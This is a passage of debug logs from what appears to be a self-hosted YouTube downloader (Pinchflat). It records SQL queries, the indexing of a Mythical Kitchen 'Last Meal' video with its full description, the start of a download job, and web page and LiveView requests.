https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2169, "filename" => "/downloads/Last Meals/2023-05-11 Queer Eye’s Karamo Brown Eats His Last Meal/Queer Eye’s Karamo Brown Eats His Last Meal [eCVe9YdDAsc].mp4", "id" => "eCVe9YdDAsc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=eCVe9YdDAsc", "playlist_index" => 23, "timestamp" => 1683799226, "title" => "Queer Eye’s Karamo Brown Eats His Last Meal", "upload_date" => "20230511"} 20:47:26.195 [debug] QUERY OK source="sources" db=0.3ms idle=287.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:47:26.195 [debug] QUERY OK source="sources" db=0.2ms idle=284.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:26.196 [debug] QUERY OK source="media_items" db=0.2ms idle=284.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-11 10:00:26Z], 1] 20:47:26.200 [debug] QUERY OK source="media_items" db=2.9ms idle=285.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking Karamo Brown's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Queer Eye’s Karamo Brown Eats His Last Meal", "88cce79c-690c-4972-bb30-00747d516027", "https://www.youtube.com/watch?v=eCVe9YdDAsc", false, "eCVe9YdDAsc", 2169, false, 23, "/downloads/Last Meals/2023-05-11 Queer Eye’s Karamo Brown Eats His Last Meal/Queer Eye’s Karamo Brown Eats His Last Meal [eCVe9YdDAsc].mp4", false, false, 1, [], 0, ~U[2023-05-11 10:00:26Z], ~U[2026-03-28 00:47:26Z], ~U[2026-03-28 00:47:26Z], "Today, Josh is cooking Karamo Brown's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Queer Eye’s Karamo Brown Eats His Last Meal", "https://www.youtube.com/watch?v=eCVe9YdDAsc", "eCVe9YdDAsc", 2169, false, "/downloads/Last Meals/2023-05-11 Queer Eye’s Karamo Brown Eats His Last Meal/Queer Eye’s Karamo Brown Eats His Last Meal [eCVe9YdDAsc].mp4", false, 1, ~U[2023-05-11 10:00:26Z]] 20:47:26.201 [debug] QUERY OK source="sources" db=0.3ms idle=188.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:26.201 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:26.202 [debug] QUERY OK source="media_items" db=0.4ms idle=6.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [23] 20:47:26.203 [info] Kicking off download for media item #23 (eCVe9YdDAsc) 20:47:26.205 [debug] QUERY OK source="tasks" db=0.3ms idle=3.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [26, 23, ~U[2026-03-28 00:47:26Z], ~U[2026-03-28 00:47:26Z]] 20:47:26.205 [debug] Current batch of media processed. Will check again in 1000ms 20:47:26.782 [info] GET /sources 20:47:26.782 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 20:47:26.782 [debug] QUERY OK source="settings" db=0.0ms idle=580.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:26.782 [debug] QUERY OK source="settings" db=0.0ms idle=579.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:26.782 [debug] QUERY OK source="settings" db=0.0ms idle=578.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:26.783 [debug] QUERY OK source="settings" db=0.0ms idle=578.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:26.783 [debug] QUERY OK source="settings" db=0.0ms idle=577.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:26.783 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=0.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:47:26.784 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:47:26.784 [info] Sent 200 in 2ms 20:47:26.916 [info] CONNECTED TO Phoenix.LiveView.Socket in 16µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "GV8-JTg1HlxmCwMoNHUjIkIQXVJvDwAVr8lFVPg0683_l9LapSjcXXvx", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:47:26.928 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 20:47:26.928 [debug] QUERY OK source="sources" db=0.4ms idle=145.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 20:47:26.929 [debug] QUERY OK source="sources" db=0.5ms idle=145.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 20:47:26.929 [debug] Replied in 1ms 20:47:26.930 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:47:26.930 [debug] Replied in 33µs 20:47:27.207 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Jason Kelce's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - 